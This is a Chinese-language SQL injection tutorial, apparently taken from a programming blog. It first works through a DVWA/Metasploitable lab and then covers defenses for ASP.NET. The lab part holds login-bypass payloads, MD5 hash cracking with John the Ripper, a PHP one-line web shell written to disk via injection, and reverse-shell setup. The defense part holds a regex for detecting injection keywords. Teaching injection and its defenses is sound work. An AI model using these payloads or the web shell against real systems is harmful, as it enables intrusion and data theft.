手动漏洞挖掘-SQL注入小谈
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
服务器端程序将用户输入参数做为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器。
根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。基于此,SQL注入的产生原因通常表现在以下几方面:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。
防护
手工漏洞挖掘-----SQL注入
服务器端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器
用户登录判断:
SELECT * FROM user WHERE user='uname' AND password='pass'
SELECT * FROM user WHERE user='name' AND password=''OR"="
服务器端输入框前面的内容可能是 select first_name,surname from users where id=' 内容',所以我们可以在内容中加入sql注入语句来进行注入;(--后面有一个空格,没有加号,用加号是以为url会自动把空格变成+)
在注入的时候,有可能会被拦截,所以我们可以用ASCII码来进行替换。有可能跳过过滤不严的过滤机制。
我在这里用的是DVWA,所以这里猜的是DVWA的表名。对于破解MD5,我们可以使用kali中的一款叫做john的工具,John the ripper是基于字典的密码破解工具。它使用内容全是密码的单词表,然后使用单词表中的每一个密码,试图破解某个特定的密码散列。换句话说,它又叫蛮力密码破解,这是一种最基本的密码破解方式。不过它也是最耗费时间、最耗费处理器资源的一种方法。尝试的密码越多,所需的时间就越长。
John有别于Hdra之类的工具。Hydra进行盲目的蛮力攻击,其方法是在FTP服务器或Telnet服务器上的服务后台程序上尝试用户名/密码组合。不过,John首先需要散列。所以,对黑客来说更大的挑战是,先搞到需要破解的散列。如今,使用网上随处可得的免费彩虹表(rainbow table),比较容易破解散列。只要进入到其中一个网站,提交散列;要是散列由一个常见单词组成,那么该网站几乎立马就会显示该单词。彩虹表基本上将常见单词及对应散列存储在一个庞大的数据库中。数据库越大,涵盖的单词就越多。
但是如果你想在自己的系统上本地破解密码,那么John是值得一试的好工具之一。John跻身于Kali Linux的十大安全工具。在Ubuntu上,它可以通过新立得软件包管理器(synaptic package manager)来安装。
root@kali:~# john --format=raw-MD5 dvwa.txtroot@kali:~# cd .john/root@kali:~/.john# ls
john.log john.potroot@kali:~/.john# cat john.logroot@kali:~/.john# cat john.potroot@kali:~/.john# rm * //删除破解日志,才能进行下面的工作root@kali:~/.john# john --format=raw-MD5 dvwa.txt
然后我们cd .john/ 可以看到两个文件,john.log和john.pot,log是日志文件,我们看一下pot,就可以看到密码了。
也可以
使用show选项,列出所有被破解的密码。
root@kali:~# john --show ~/dvwa.txt
我们这里用burp来修改sql语句
看,执行成功,文件的内容出来了,下面再来看一下写入文件的命令
这里我们用kali来连接我们的靶机:
root@kali:~# ssh msfadmin@192.168.1.103
msfadmin@metasploitbale:~$ cd /var/msfadmin@metasploitbale:/var$ cd www/msfadmin@metasploitbale:/var/www$ ls
1.php dvwa mutillidea phpMyAdmin tikiwiki twiki
dva index.php phpinfo.php test tikiwiki-oldmsfadmin@metasploitbale:/var/www/$ cd dvwa/msfadmin@metasploitbale:/var/www/dvwa$ ls
about.php dvwa index.php php.ini
GHANGELOG.txt external instructions.php README.txt
config favicon.ico login.php roubots.txt
COPYING.txt hackable logout.php security.php
docs ids_log.php phpinfo.php setup.phpmsfadmin@metasploitbale:/var/www/dvwa$ suodo find / -name a.phpmsfadmin@metasploitbale:/var/www/dvwa$ cd /var/lib/mysql/msfadmin@metasploitbale:/var/lib/mysql$ ls -lmsfadmin@metasploitbale:/var/lib/mysql$ sudo -iroot@metasploitbale:/var/lib/mysql/dvwa# ls
a.php guestbook.frm gusetbook.MYI users.MYD
db.opt guestbook.MYD users.frm users.MYIroot@metasploitbale:/var/lib/mysql/dvwa# cat a.php
<?php passthru($_GET['cmd']);?>root@metasploitbale:/var/lib/mysql/dvwa#root@metasploitbale:/var/lib/mysql/dvwa# ls -lroot@metasploitbale:/var/lib/mysql/dvwa# cat /etc/passwd | grep mysql
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/lib/falseroot@metasploitbale:/var/lib/mysql/dvwa# cd /var/www/root@metasploitbale:/var/www# ls -ld /tmproot@metasploitbale:/var/www# cd /tmp/root@metasploitbale:/tmp# ls -l a.php root@metasploitbale:/tmp# ps aux | grep mysqlroot@kali:~# cp /user/share/webshells/php/
findsock.c php-findsock-shell.php qsd-php-backdoor.php
php-backdoor.php php-reverse-shell.php simple-backdoor.phproot@kali:~# cp /user/share/webshells/php/php-reverse-shell.php ./b.phproot@kali:~# ls
b.php dvwa.txt 公共 模板 视频 图片 文档 下载 音乐 桌面root@kali:~# vi b.phproot@kali:~# cat b.phproot@kali:~# cat b.php | xxd -ps 固定一行显示root@kali:~# cat b.php | xxd -ps | tr -d '\n' 删除换行符root@metasploitbale:~# cd /tmp/root@metasploitbale:/tmp# cat a.php
<?php passthru($_GET['cmd']);?>root@metasploitbale:/var/lib/mysql/dvwa#root@kali:~# vi c.php
<?php passthru($_GET['cmd']);?>root@kali:~# cat c.php | xxd -ps | tr -d '\n'
没有权限啊。那我们来看一下默认路径吧,
ok,可以写进去,但是,这里有一个很重要的问题,就是默认路径我们无法知道,所以这个无法利用。毕竟是做实验,我们来看一下,这个文件放在了哪里
可以看到在mysql中,没有查看权限
用root进去看看
我们这里可以用到/tmp这个目录,大家应该都知道,/tmp文件是linux运行时产生的缓存文件,用于加速二次打开文件的速度。这个目录里普通用户是有读写权限的。那我们就把一句话木马写进这个目录
可以看到,成功了。这里我们利用文件包含漏洞。
保证权限最小化原则以及权限分离,来保证一个账号只能完成一个工作,达到网站安全。
这个是mysql的进程,我们执行sql注入就是靠这个进程来完成的。看这里的用户为mysql的账号,所以我们sql注入得到的账号是sql的账户,如果一些网站管理员习惯是不是很好的话,这里用root来管理mysql,那我们就可以得到root的账号密码,权限就非常大了。后果不堪设想。下面来谈一谈网站对特殊字符过滤机制的绕过。
vim b.php,把ip改为本机ip,因为要反弹shell;
我们来对b.php里面的内容进行编16进制编码。
复制粘贴,我们来将这个放到植入语句里()里先写上0x来表示16进制编码,()16进制编码前面要加空格;
转码成功,后面就不讲了。
如果有的网站,数据库量非常大,那么我们可以保存下载数据库,将数据库保存到目标网站中去;
sql语句正确执行,asd列是空的;
就这样猜解,不过需要一个字典;如果正常返回,则说明存在;kali自带的字典查找一下;
root@R:~# find / -name *column*.txt
find: '/media/sf_D_DRIVE/$RECYCLE.BIN/S-1-5-21-2268366954-3546357879-2348310953-1001': 不允许的操作
find: '/media/sf_D_DRIVE/System Volume Information': 不允许的操作
/media/sf_D_DRIVE/软件/Pangolin/columns.txt
/media/sf_D_DRIVE/软件/Pangolin/pangolin3.3+4.0+注册机/pangolin3.3/columns.txt
/media/sf_D_DRIVE/软件/Pangolin/pangolin3.3+4.0+注册机/pangolin_professinal_edit
ion_4.0.0.1293/professinal_edition/columns.txt
/usr/share/golismero/tools/sqlmap/txt/common-columns.txt
/usr/share/w3af/w3af/plugins/attack/db/sqlmap/txt/common-columns.txt
/usr/share/sqlmap/txt/common-columns.txt
去掉#号开头的行;不适用现成的;
root@R:~# cat /usr/share/golismero/tools/sqlmap/txt/common-columns.txt | grep -v ^# > column.txt
生成一个新的字典文件;
下面来讲一下原理
假设我们在浏览器中输入URL www.sample.com,由于它只是对页面的简单请求无需对数据库动进行动态请求,所以它不存在SQL Injection,当我们输入www.sample.com?testid=23时,我们在URL中传递变量testid,并且提供值为23,由于它是对数据库进行动态查询的请求(其中?testid=23表示数据库查询变量),所以我们可以该URL中嵌入恶意SQL语句。
现在我们知道SQL Injection适用场合,接下来我们将通过具体的例子来说明SQL Injection的应用,这里我们以pubs数据库作为例子。
我们通过Web页面查询job表中的招聘信息,job表的设计如下:
图1 jobs表
接着让我们实现Web程序,它根据工作Id(job_id)来查询相应的招聘信息,示意代码如下:
<span style="color:gray;">/// <summary> /// </span><span style="color:green;">Handles the Load event of the Page control. </span><span style="color:gray;">/// </summary> /// <param name="sender"></span><span style="color:green;">The source of the event.</span><span style="color:gray;"></param> /// <param name="e"></span><span style="color:green;">The </span><span style="color:gray;"><see cref="System.EventArgs"/> </span><span style="color:green;">instance containing the event data.</span><span style="color:gray;"></param> </span><span style="color:blue;">protected void </span>Page_Load(<span style="color:blue;">object </span>sender, <span style="color:#2b91af;">EventArgs </span>e) {<span style="color:blue;">if </span>(!IsPostBack){<span style="color:green;">// Gets departmentId from http request.</span><span style="color:blue;">string </span>queryString = Request.QueryString[<span style="color:#a31515;">"departmentID"</span>];<span style="color:blue;">if </span>(!<span style="color:blue;">string</span>.IsNullOrEmpty(queryString)){<span style="color:green;">// Gets data from database.</span>gdvData.DataSource = GetData(queryString.Trim());<span style="color:green;">// Binds data to gridview.</span>gdvData.DataBind();}} }
现在我们已经完成了Web程序,接下来让我们查询相应招聘信息吧。
图2 job表查询结果
如图所示,我们要查询数据库中工作Id值为1的工作信息,而且在页面显示了该工作的Id,Description,Min Lvl和Max Lvl等信息。
现在要求我们实现根据工作Id查询相应工作信息的功能,想必大家很快可以给出解决方案,SQL示意代码如下:
<span style="color:blue;">SELECT </span>job_id<span style="color:gray;">, </span>job_desc<span style="color:gray;">, </span>min_lvl<span style="color:gray;">, </span>max_lvl <span style="color:blue;">FROM </span>jobs <span style="color:blue;">WHERE </span><span style="color:gray;">(</span>job_id <span style="color:gray;">= </span>1<span style="color:gray;">)</span>
假设现在要求我们获取Department表中的所有数据,而且必须保留WHERE语句,那我们只要确保WHERE恒真就OK了,SQL示意代码如下:
<span style="color:blue;">SELECT job_id</span><span style="color:gray;">, job_desc, min_lvl, max_lvl </span><span style="color:blue;">FROM jobs WHERE </span><span style="color:gray;">(job_id = 1) OR 1 = 1 </span>
上面我们使得WHERE恒真,所以该查询中WHERE已经不起作用了,其查询结果等同于以下SQL语句。
<span style="color:blue;">SELECT job_id</span><span style="color:gray;">, job_desc, min_lvl, max_lvl </span><span style="color:blue;">FROM jobs </span>
SQL查询代码实现如下:
<span style="color:blue;">string </span>sql1 = <span style="color:blue;">string</span>.Format(<span style="color:#a31515;">"SELECT job_id, job_desc, min_lvl, max_lvl FROM jobs WHERE job_id='{0}'"</span>, jobId);
现在我们要通过页面请求的方式,让数据库执行我们的SQL语句,我们要在URL中嵌入恶意表达式1=1(或2=2等等),如下URL所示:
http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'or'1'='1
等效SQL语句如下:
<span style="color:blue;">SELECT </span>job_id<span style="color:gray;">, </span>job_desc<span style="color:gray;">, </span>min_lvl<span style="color:gray;">, </span>max_lvl <span style="color:blue;">FROM </span>jobs <span style="color:blue;">WHERE </span>job_id <span style="color:gray;">= </span><span style="color:red;">'1' </span><span style="color:gray;">OR </span><span style="color:red;">'1' </span><span style="color:gray;">= </span>1<span style="color:red;">'</span>
图3 job表查询结果
现在我们把job表中的所有数据都查询出来了,仅仅通过一个简单的恒真表达式就可以进行了一次简单的攻击。
虽然我们把job表的数据都查询出来了,但数据并没有太大的价值,由于我们把该表临时命名为job表,所以接着我们要找出该表真正表名。
首先我们假设表名就是job,然后输入以下URL:
http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'or 1=(select count(*) from job)--
等效SQL语句如下:
<span style="color:blue;">SELECT </span>job_id<span style="color:gray;">, </span>job_desc<span style="color:gray;">, </span>min_lvl<span style="color:gray;">, </span>max_lvl <span style="color:blue;">FROM </span>jobs <span style="color:blue;">WHERE </span>job_id<span style="color:gray;">=</span><span style="color:red;">'1'</span><span style="color:gray;">or </span>1<span style="color:gray;">=(</span><span style="color:blue;">select </span><span style="color:magenta;">count</span><span style="color:gray;">(*) </span><span style="color:blue;">from </span>job<span style="color:gray;">) </span><span style="color:green;">--'</span>
图4 job表查询结果
当我们输入了以上URL后,结果服务器返回我们错误信息,这证明了我们的假设是错误的,那我们该感觉到挫败吗?不,其实这里返回了很多信息,首先它证明了该表名不是job,而且它还告诉我们后台数据库是SQL Server,不是MySQL或Oracle,这也设计一个漏洞把错误信息直接返回给了用户。
接下假定表名是jobs,然后输入以下URL:
http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'or1=(select count(*) from jobs) --
等效SQL语句如下:
<span style="color:blue;">SELECT </span>job_id<span style="color:gray;">, </span>job_desc<span style="color:gray;">, </span>min_lvl<span style="color:gray;">, </span>max_lvl <span style="color:blue;">FROM </span>jobs <span style="color:blue;">WHERE </span>job_id<span style="color:gray;">=</span><span style="color:red;">'1'</span><span style="color:gray;">or </span>1<span style="color:gray;">=(</span><span style="color:blue;">select </span><span style="color:magenta;">count</span><span style="color:gray;">(*) </span><span style="color:blue;">from </span>jobs<span style="color:gray;">) </span><span style="color:green;">--'</span>
图5 job表查询结果
现在证明了该表名是jobs,这可以迈向成功的一大步,由于我们知道了表名就可以对该表进行增删改操作了,而且我们还可以猜测出更多的表对它们作出修改,一旦修改成功那么这将是一场灾难。
现在大家已经对SQL Injection的攻击有了初步的了解了,接下让我们学习如何防止SQL Injection。
总的来说有以下几点:
1.永远不要信任用户的输入,要对用户的输入进行校验,可以通过正则表达式,或限制长度,对单引号和双"-"进行转换等。
2.永远不要使用动态拼装SQL,可以使用参数化的SQL或者直接使用存储过程进行数据查询存取。
3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息明文存放,请加密或者hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装,把异常信息存放在独立的表中。
通过正则表达校验用户输入
首先我们可以通过正则表达式校验用户输入数据中是包含:对单引号和双"-"进行转换等字符。
然后继续校验输入数据中是否包含SQL语句的保留字,如:WHERE,EXEC,DROP等。
现在让我们编写正则表达式来校验用户的输入吧,正则表达式定义如下:
<span style="color:blue;">private static readonly </span><span style="color:#2b91af;">Regex </span>RegSystemThreats =<span style="color:blue;">new </span><span style="color:#2b91af;">Regex</span>(<span style="color:#a31515;">@"\s?or\s*|\s?;\s?|\s?drop\s|\s?grant\s|^'|\s?--|\s?union\s|\s?delete\s|\s?truncate\s|" </span>+<span style="color:#a31515;">@"\s?sysobjects\s?|\s?xp_.*?|\s?syslogins\s?|\s?sysremote\s?|\s?sysusers\s?|\s?sysxlogins\s?|\s?sysdatabases\s?|\s?aspnet_.*?|\s?exec\s?"</span>,<span style="color:#2b91af;">RegexOptions</span>.Compiled | <span style="color:#2b91af;">RegexOptions</span>.IgnoreCase);
上面我们定义了一个正则表达式对象RegSystemThreats,并且给它传递了校验用户输入的正则表达式。
由于我们已经完成了对用户输入校验的正则表达式了,接下来就是通过该正则表达式来校验用户输入是否合法了,由于.NET已经帮我们实现了判断字符串是否匹配正则表达式的方法——IsMatch(),所以我们这里只需给传递要匹配的字符串就OK了。
示意代码如下:
<span style="color:gray;">/// <summary> /// </span><span style="color:green;">A helper method to attempt to discover [known] SqlInjection attacks. </span><span style="color:gray;">/// </summary> /// <param name="whereClause"></span><span style="color:green;">string of the whereClause to check</span><span style="color:gray;"></param> /// <returns></span><span style="color:green;">true if found, false if not found </span><span style="color:gray;"></returns> </span><span style="color:blue;">public static bool </span>DetectSqlInjection(<span style="color:blue;">string </span>whereClause) {<span style="color:blue;">return </span>RegSystemThreats.IsMatch(whereClause); }<span style="color:gray;">/// <summary> /// </span><span style="color:green;">A helper method to attempt to discover [known] SqlInjection attacks. </span><span style="color:gray;">/// </summary> /// <param name="whereClause"></span><span style="color:green;">string of the whereClause to check</span><span style="color:gray;"></param> /// <param name="orderBy"></span><span style="color:green;">string of the orderBy clause to check</span><span style="color:gray;"></param> /// <returns></span><span style="color:green;">true if found, false if not found </span><span style="color:gray;"></returns> </span><span style="color:blue;">public static bool </span>DetectSqlInjection(<span style="color:blue;">string </span>whereClause, <span style="color:blue;">string </span>orderBy) {<span style="color:blue;">return </span>RegSystemThreats.IsMatch(whereClause) || RegSystemThreats.IsMatch(orderBy); }
现在我们完成了校验用的正则表达式,接下来让我们需要在页面中添加校验功能。
<span style="color:gray;">/// <summary> /// </span><span style="color:green;">Handles the Load event of the Page control. </span><span style="color:gray;">/// </summary> /// <param name="sender"></span><span style="color:green;">The source of the event.</span><span style="color:gray;"></param> /// <param name="e"></span><span style="color:green;">The </span><span style="color:gray;"><see cref="System.EventArgs"/> </span><span style="color:green;">instance containing the event data.</span><span style="color:gray;"></param> </span><span style="color:blue;">protected void </span>Page_Load(<span style="color:blue;">object </span>sender, <span style="color:#2b91af;">EventArgs </span>e) {<span style="color:blue;">if </span>(!IsPostBack){<span style="color:green;">// Gets departmentId from http request.</span><span style="color:blue;">string </span>queryString = Request.QueryString[<span style="color:#a31515;">"jobId"</span>];<span style="color:blue;">if </span>(!<span style="color:blue;">string</span>.IsNullOrEmpty(queryString)){<span style="color:blue;">if </span>(!DetectSqlInjection(queryString) && !DetectSqlInjection(queryString, queryString)){<span style="color:green;">// Gets data from database.</span>gdvData.DataSource = GetData(queryString.Trim());<span style="color:green;">// Binds data to gridview.</span>gdvData.DataBind();}<span style="color:blue;">else</span>{<span style="color:blue;">throw new </span><span style="color:#2b91af;">Exception</span>(<span style="color:#a31515;">"Please enter correct field"</span>);}}} }
当我们再次执行以下URL时,被嵌入的恶意语句被校验出来了,从而在一定程度上防止了SQL Injection。
http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'or'1'='1
图6 添加校验查询结果
但使用正则表达式只能防范一些常见或已知SQL Injection方式,而且每当发现有新的攻击方式时,都要对正则表达式进行修改,这可是吃力不讨好的工作。
通过参数化存储过程进行数据查询存取
首先我们定义一个存储过程根据jobId来查找jobs表中的数据。
<span style="color:green;">-- ============================================= -- Author: JKhuang -- Create date: 12/31/2011 -- Description: Get data from jobs table by specified jobId. -- ============================================= </span><span style="color:blue;">ALTER PROCEDURE </span>[dbo]<span style="color:gray;">.</span>[GetJobs]<span style="color:green;">-- ensure that the id type is int</span>@jobId <span style="color:blue;">INT AS BEGIN </span><span style="color:green;">-- SET NOCOUNT ON;</span><span style="color:blue;">SELECT </span>job_id<span style="color:gray;">, </span>job_desc<span style="color:gray;">, </span>min_lvl<span style="color:gray;">, </span>max_lvl<span style="color:blue;">FROM </span>dbo<span style="color:gray;">.</span>jobs<span style="color:blue;">WHERE </span>job_id <span style="color:gray;">= </span>@jobId<span style="color:blue;">GRANT EXECUTE ON </span>GetJobs <span style="color:blue;">TO </span>pubs <span style="color:blue;">END</span>
接着修改我们的Web程序使用参数化的存储过程进行数据查询。
<span style="color:blue;">using </span>(var com = <span style="color:blue;">new </span><span style="color:#2b91af;">SqlCommand</span>(<span style="color:#a31515;">"GetJobs"</span>, con)) {<span style="color:green;">// Uses store procedure.</span>com.CommandType = <span style="color:#2b91af;">CommandType</span>.StoredProcedure;<span style="color:green;">// Pass jobId to store procedure.</span>com.Parameters.Add(<span style="color:#a31515;">"@jobId"</span>, <span style="color:#2b91af;">SqlDbType</span>.Int).Value = jobId;com.Connection.Open();gdvData.DataSource = com.ExecuteScalar();gdvData.DataBind(); }
现在我们通过参数化存储过程进行数据库查询,这里我们把之前添加的正则表达式校验注释掉。
图7 存储过程查询结果
大家看到当我们试图在URL中嵌入恶意的SQL语句时,参数化存储过程已经帮我们校验出传递给数据库的变量不是整形,而且使用存储过程的好处是我们还可以很方便地控制用户权限,我们可以给用户分配只读或可读写权限。
但我们想想真的有必要每个数据库操作都定义成存储过程吗?而且那么多的存储过程也不利于日常的维护。
参数化SQL语句
还是回到之前动态拼接SQL基础上,我们知道一旦有恶意SQL代码传递过来,而且被拼接到SQL语句中就会被数据库执行,那么我们是否可以在拼接之前进行判断呢?——命名SQL参数。
<span style="color:blue;">string </span>sql1 = <span style="color:blue;">string</span>.Format(<span style="color:#a31515;">"SELECT job_id, job_desc, min_lvl, max_lvl FROM jobs WHERE job_id = @jobId"</span>); <span style="color:blue;">using </span>(var con = <span style="color:blue;">new </span><span style="color:#2b91af;">SqlConnection</span>(<span style="color:#2b91af;">ConfigurationManager</span>.ConnectionStrings[<span style="color:#a31515;">"SQLCONN1"</span>].ToString())) <span style="color:blue;">using </span>(var com = <span style="color:blue;">new </span><span style="color:#2b91af;">SqlCommand</span>(sql1, con)) {<span style="color:green;">// Pass jobId to sql statement.</span>com.Parameters.Add(<span style="color:#a31515;">"@jobId"</span>, <span style="color:#2b91af;">SqlDbType</span>.Int).Value = jobId;com.Connection.Open();gdvData.DataSource = com.ExecuteReader();gdvData.DataBind(); }
图8 参数化SQL查询结果
这样我们就可以避免每个数据库操作(尤其一些简单数据库操作)都编写存储过程了,而且当用户具有数据库中jobs表的读权限才可以执行该SQL语句。
添加新架构
数据库架构是一个独立于数据库用户的非重复命名空间,您可以将架构视为对象的容器(类似于.NET中的命名空间)。
首先我们右击架构文件夹,然后新建架构。
图9 添加HumanResource架构
上面我们完成了在pubs数据库中添加HumanResource架构,接着把jobs表放到HumanResource架构中。
图 10 修改jobs表所属的架构
当我们再次执行以下SQL语句时,SQL Server提示jobs无效,这是究竟什么原因呢?之前还运行的好好的。
<span style="color:blue;">SELECT </span>job_id<span style="color:gray;">, </span>job_desc<span style="color:gray;">, </span>min_lvl<span style="color:gray;">, </span>max_lvl <span style="color:blue;">FROM </span>jobs
图 11 查询输出
当我们输入完整的表名“架构名.对象名”(HumanResource.jobs)时,SQL语句执行成功。
<span style="color:blue;">SELECT </span>job_id<span style="color:gray;">, </span>job_desc<span style="color:gray;">, </span>min_lvl<span style="color:gray;">, </span>max_lvl <span style="color:blue;">FROM </span>HumanResource<span style="color:gray;">.</span>jobs
为什么之前我们执行SQL语句时不用输入完整表名dbo.jobs也可以执行呢?
这是因为默认的架构(default schema)是dbo,当只输入表名时,Sql Server会自动加上当前登录用户的默认的架构(default schema)——dbo。
由于我们使用自定义架构,这也降低了数据库表名被猜测出来的可能性。
LINQ to SQL
前面使用了存储过程和参数化查询,这两种方法都是非常常用的,而针对于.NET Framework的ORM框架也有很多,如:NHibernate,Castle和Entity Framework,这里我们使用比较简单LINQ to SQL。
图 12 添加jobs.dbml文件
var dc = <span style="color:blue;">new </span><span style="color:#2b91af;">pubsDataContext</span>(); <span style="color:blue;">int </span>result;<span style="color:green;">// Validates jobId is int or not. </span><span style="color:blue;">if </span>(<span style="color:blue;">int</span>.TryParse(jobId, <span style="color:blue;">out </span>result)) {gdvData.DataSource = dc.jobs.Where(p => p.job_id == result);gdvData.DataBind(); }
相比存储过程和参数化查询,LINQ to SQL我们只需添加jobs.dbml,然后使用LINQ对表进行查询就OK了。
如若内容造成侵权/违法违规/事实不符,请联系编程学习网邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
相关文章
- 用Unity 3D生成真实地形
本方法是在http://blog.csdn.net/lingbaoer1234/article/details/45242371基础上进行操作,具体如下:Unity3D手册中介绍了两种地形制作方法: 1、在SceneView中使用height tools直接绘制; 2、使用外部工具制作的heightmaps; 生成真实地形,需要用到heightmaps方法,具体操作…...
2024/5/7 0:06:37 - java ,springMVC处理视频文件上传和下载
上传:@ResponseBody @RequestMapping("upload") public Map upload(HttpServletRequest request, @RequestParam(value = "myFile", required = false) MultipartFile[] files) {Map map =new HashMap();try {for(int i=0;i<files.length;i++){FileUpl…...
2024/4/17 18:52:29 - 2020 前端必看 20个最好的 前端 Web开发工具
引言 市面上有许多前端开发工具可以加速 Web 开发工作。本文是对一些顶级 Web 开发工具的一次精选汇总,分别介绍了每款工具的关键特性,并已附上下载链接。 1. Novi BuilderNovi Builder 是一个拖放式构建器,它对于经验丰富的 Web 开发人员而言是一个不错的选择。它为开发人员…...
2024/4/19 15:40:32 - 6.面向对象程序设计-封装
大家好,我是被白菜拱的猪。 何为面向对象? 面向对象是对于面向过程而言。这个东西说不清道不明,给你唠三天三夜也唠不完,这就好比咱们政治天天把马克思主义挂在嘴边,那么马克思主义到底是什么,我不知道,你很大可能也不知道。面向对象:OOP(Object-Oriented Programming)…...
2024/4/20 13:07:01 - Java获取视频时长、宽高、文件大小、格式、并截图做封面
最近需要用java处理视频文件,读取视频的时长,在网上查,没找到合适的方法,用JMF吧,支持的格式太少,用JNI去读取其他语言写的API,但比较 麻烦。无意中找到了jave这个开源的项目,看了看介绍,是用java来处理多种视频格式之间的转换的。一、获取视频的播放时长、文件大小、…...
2024/4/20 0:34:41 - tomcat 配置404页面
在Tomcat文件夹下找到conf文件夹,找到web.xml文件,在最后面配置<error-page><exception-type>404</exception-type><location>/error.jsp</location></error-page>这样就ok了...
2024/4/19 11:03:27 - Web漏洞处理--http host头攻击漏洞处理方案/检测到目标URL存在宽字节跨站漏洞/ 检测到目标URL存在SQL注入漏洞
1.配置web 拦截器 <filter> <filter-name>XssSqlFilter</filter-name> <filter-class>com.modules.sys.security.SessionFilter</filter-class> //拦截器的位置</filter> <filter-mapping> <filter-name>XssSqlFilter<…...
2024/4/26 3:47:43 - GAN原理解析,公式推导与python实现
1-生成模型 1-1 生成模型与判别模型 1-2 为什么学习生成模型 1-3 生成模型原理似然原理2-生成式对抗网络 2-1 生成式对抗网络工作原理 2-2 判别器的损失函数 2-3 生成器损失定义1minimax 2-4 生成器损失定义2Non-Saturating Game 2-5 第三种策略极大似然估计 2-5-1 KL 散度的定…...
2024/5/3 0:33:28 - list对象集合按照对象的某个值排序
list对象集合按照对象的某个值排序 对象需要继承 Comparable @Data public class TeamPerformance implements Comparable<TeamPerformance>,Serializable{private static final long serialVersionUID = -6728798297301322140L;/*** 战队id*/private Integer tId;/*** …...
2024/5/3 10:49:34 - tomcat配置ssl的443端口
最近遇到一个问题,需要把一个war包放到tomcat下运行,于是就自己安装了一个tomcat,将war包放到其下运行,访问war包的应用,发现报错,提示该应用必需使用https的443端口,于是,仔细查找了这方面的资料。 发现,要想使用tomcat的https必需要生成一个证书。这个证书的生成就需…...
2024/4/17 18:51:17 - SQL注入实战——判断注入点讲解
当你的才华还撑不起你的野心时那你就应该静下心来学习目录1.1 判断是否存在SQL注入漏洞1.2 判断 Sql 注入漏洞的类型一、判断注入点通常情况下,可能存在 Sql 注入漏洞的 Url 是类似这种形式 :http://xxx.xxx.xxx/abcd.php?id=XX 对 Sql 注入的判断,主要有两个方面:• 判断…...
2024/5/3 10:27:47 - WHAT - 什么是微服务?
微服务简介 这次参加JavaOne2015最大的困难就是听Microservice相关的session,无论内容多么水,只要题目带microservice,必定报不上名,可见Microservice有多火。最喜欢其中一页。关于这个典故,可以参考this,此图适用于一切高大上的名字——技术有SOA,Agile,CLOUD,DevOps…...
2024/4/17 18:53:28 - pikachu漏洞测试平台之SQL注入(新手向)
pikachu漏洞测试平台之SQL注入(新手向) 以这篇博文简单记录一下我这个小菜鸡用pikachu靶场学习SQL注入的过程。 工具:火狐浏览器,burp suite。 SQL 注入概述哦,SQL注入漏洞,可怕的漏洞。在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首…...
2024/5/6 11:17:12 - 算法可视化:把难懂的代码画进梵高的星空
转自:大数据文摘 | bigdatadigest OReillyData获转载授权 独立心灵的力量被高估了……真正的力量源自于外部能提高认知能力的帮助。 ——唐纳德 本文重点研究算法。然而,这里讨论的技术适用于更广泛的问题空间:数学公式、动态系统、过程等。基本上,任何需要理解代码的地方…...
2024/4/26 16:32:15 - 谈谈tomcat配置默认路径的注意事项
场景: 在tomcat中部署项目,通过地址+端口直接访问项目,遇到这样的需求,一般的解决方案有几种呢? 方案: 1、将tomcat中webapps中ROOT目录中的文件删除掉,将项目的内容拷贝到此目录中。 此方式个人感觉丢失项目名称,项目的语义化不明确,同时更改了tomcat的默认访问,一般…...
2024/4/17 18:53:29 - SqlMap自动化SQL注入测试工具简绍
Sqlmap是一个开源的渗透测试工具,可以自动检测和利用SQL注入漏洞并接管数据库服务器。它配备了强大的检测引擎,为终极渗透测试仪提供了许多小众功能,以及从数据库指纹识别,从数据库获取数据到访问底层文件系统以及在操作系统上执行各种命令。演示:# 使用SqlMap在特定目标U…...
2024/4/17 18:54:41 - 7款让人惊叹的HTML5粒子动画特效
分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.csdn.net/jiangjunshow也欢迎大家转载本篇文章。分享知识,造福人民,实现我们中华民族伟大复兴! HTML5的很大一个优势就是可以更加便捷高效地制作网页粒子动画特效,特别是Canvas特性,可以…...
2024/5/3 2:01:40 - 2020最新web前端开发学习路线
Web前端是一个入行门槛较低的开发技术,但更是近几年热门的职业,web前端不仅薪资高发展前景好,是很多年轻人向往的一个职业,想学习web前端,那么你得找到好的学习方法,以下就给大家分享一份适合新手小白学习的web前端学习路线图。第一:基础的重要性 无论做什么都一定要有…...
2024/4/17 18:52:13 - 关于Tomcat配置域名的默认访问页面
近来需要上线一个对接支付宝支付的电商项目,需要去支付宝平台审核支付网站,所以需要配置正式域名的默认访问地址,折腾了一点时间,所以在这里记录一下。1.配置80端口,在tomcat的server.xml里面使用<Connector>标签配置默认的80端口。一般tomcat的server.xml配置文件在…...
2024/4/17 18:53:28 - 网站漏洞修复方案防止SQL注入攻击漏洞
SQL注入漏洞在网站漏洞里面属于高危漏洞,排列在前三,受影响范围较广,像asp、.net、PHP、java、等程序语言编写的代码,都存在着sql注入漏洞,那么如何检测网站存在sql注入漏洞? SQL注入漏洞测试方法 在程序代码里不管是get提交,post提交,cookies的方式,都可以有随意控制参…...
2024/4/19 0:39:05
最新文章
- 论文笔记ColdDTA:利用数据增强和基于注意力的特征融合进行药物靶标结合亲和力预测
